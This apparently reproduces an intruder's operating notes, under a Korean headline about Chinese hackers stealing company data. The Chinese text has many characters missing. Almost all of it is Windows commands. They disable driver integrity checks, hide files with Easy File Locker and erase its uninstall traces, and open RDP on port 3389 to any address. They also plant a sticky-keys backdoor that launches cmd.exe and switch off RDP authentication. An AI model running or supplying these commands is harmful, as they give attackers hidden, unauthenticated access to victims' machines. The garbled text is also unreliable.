중국 해커 조직의 국내 기업 정보 탈취

！！ 禁止强制名，以管理的身行cmd 行以下命令

Win2012 Can:
bcdedit.exe /set nointegritychecks on

\Easy File Locker （！！！注意：只需要予Access限，其他都不需要，切切）

除1. REG delete “HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Easy file Locker” /f
除2：安目
除3： C:\Users\master\AppData\Roaming\Microsoft\Windows\Start Menu\Programs （快捷方式）

C:/Users/Public/Documents/EFL/rule.ini 藏的定在此
Easy File Locker添加需要藏的文件，只予access限，可文件的藏。

cmd.exe /c reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f
cmd.exe /c wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
cmd.exe /c netsh advfirewall firewall add rule name=”RemoteDesktop_Allow” dir=in protocol=TCP action=allow localport=3389 remoteip=any

1.reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f \配置端口3389
2.wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1 （open terminal, 0 close)
netsh advfirewall firewall add rule name=”RemoteDesktop_Allow” dir=in protocol=TCP action=allow localport=3389 remoteip=any
4.netsh advfirewall firewall show rule name=”RemoteDesktop_Allow”
5. netsh advfirewall firewall del rule name=”RemoteDesktop_Allow”

reg add “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v “Debugger” /t REG_SZ /d “\”c:\windows\system32\cmd.exe\” /z” /f
REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f
REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0 /f